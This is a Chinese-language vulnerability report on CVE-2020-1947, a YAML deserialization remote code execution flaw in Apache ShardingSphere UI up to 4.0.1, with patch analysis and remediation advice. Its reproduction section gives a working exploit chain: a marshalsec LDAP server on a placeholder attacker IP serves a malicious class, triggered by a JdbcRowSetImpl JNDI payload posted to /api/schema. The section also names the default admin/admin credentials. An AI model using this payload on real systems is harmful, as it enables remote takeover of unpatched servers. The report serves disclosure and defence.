Apache ShardingSphere UI YAML解析远程代码执行漏洞(CVE-2020-1947)分析报告
一、漏洞概述
漏洞名称:Apache ShardingSphere UI YAML解析远程代码执行漏洞
CVE编号:CVE-2020-1947
威胁等级:高危
影响范围:Apache ShardingSphere UI <= 4.0.1
公开时间:2020年3月10日
二、受影响产品介绍
Apache ShardingSphere是一套开源的分布式数据库中间件解决方案组成的生态圈,由以下组件构成:
- Sharding-JDBC
- Sharding-Proxy
- Sharding-Sidecar(规划中)
这些组件提供标准化的数据分片、分布式事务和数据库治理功能,适用于Java同构、异构语言、云原生等各种应用场景。
三、漏洞分析
3.1 漏洞原理
漏洞存在于ShardingSphere UI的YAML解析功能中,由于未对输入的YAML内容进行安全过滤,攻击者可以通过构造恶意的YAML内容实现远程代码执行。
3.2 补丁对比
通过分析4.0.1版本的change-log,可以看到添加了一个类过滤器构造函数以限制来自YAML的非法类:
public final class ClassFilterConstructor extends Constructor {
private final Collection<Class<?>> acceptClasses;
@Override
protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
for (Class<? extends Object> each : acceptClasses) {
if (name.equals(each.getName())) {
return super.getClassForName(name);
}
}
throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
}
}
该补丁添加了一个白名单类acceptClasses列表,只有列表中的类才能被加载,其他危险类(如Poc中使用的JdbcRowSetImpl)将被拒绝。
3.3 漏洞根源
在4.0.0版本中,src/main/java/org/apache/shardingsphere/ui/util/ConfigurationYamlConverter.java直接使用unmarshal方法对输入的YAML进行解析,没有进行任何安全校验。这类似于Fastjson的反序列化漏洞,攻击者可以通过com.sun.rowset.JdbcRowSetImpl类实现JNDI注入攻击。
四、漏洞复现
4.1 环境搭建
有两种方式搭建Apache ShardingSphere UI环境:
方法一:从源码编译
wget -c https://github.com/apache/incubator-shardingsphere/archive/4.0.0.tar.gz
cd incubator-shardingsphere/shrding-ui/
mvn clean package -Prelease
编译后的包位于:
shardingsphere-ui/shardingsphere-ui-distribution/shardingsphere-ui-bin-distribution/target/apache-shardingsphere-incubating-${latest.release.version}-shardingsphere-ui-bin.tar.gz
方法二:直接下载二进制包
下载地址:
https://mirrors.tuna.tsinghua.edu.cn/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
解压后运行:
tar -xf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
bin/start.sh
默认配置:
- 监听端口:8088
- 管理员账号:admin/admin
4.2 漏洞利用步骤
-
构造恶意类
编写ExportObject.java并编译:javac ExportObject.java -
启动HTTP服务器
在ExportObject.class所在目录启动:python -m SimpleHTTPServer -
启动LDAP服务器
使用marshalsec工具:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击者IP:8000/#ExportObject -
发送恶意请求
构造POST请求到/api/schema接口,YAML内容中包含恶意类:{ "name": "CVE-2020-1947", "ruleConfiguration": " encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5", "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://攻击者IP:1389/ExportObject\n autoCommit: true" }注意:请求头中需要包含有效的
Access-Token。
五、修复建议
-
升级版本
官方已在4.0.1版本中修复此漏洞,建议立即升级到最新版本。 -
临时缓解措施
- 限制ShardingSphere UI的访问权限
- 修改默认管理员密码
- 在网络层面限制对外连接
-
安全配置
- 修改
conf/application.properties中的默认配置 - 禁用不必要的功能
- 修改
六、总结
该漏洞由于ShardingSphere UI对YAML解析时未进行安全过滤,导致攻击者可以通过构造恶意YAML内容实现远程代码执行。漏洞利用门槛较低,危害较大,建议受影响用户尽快升级修复。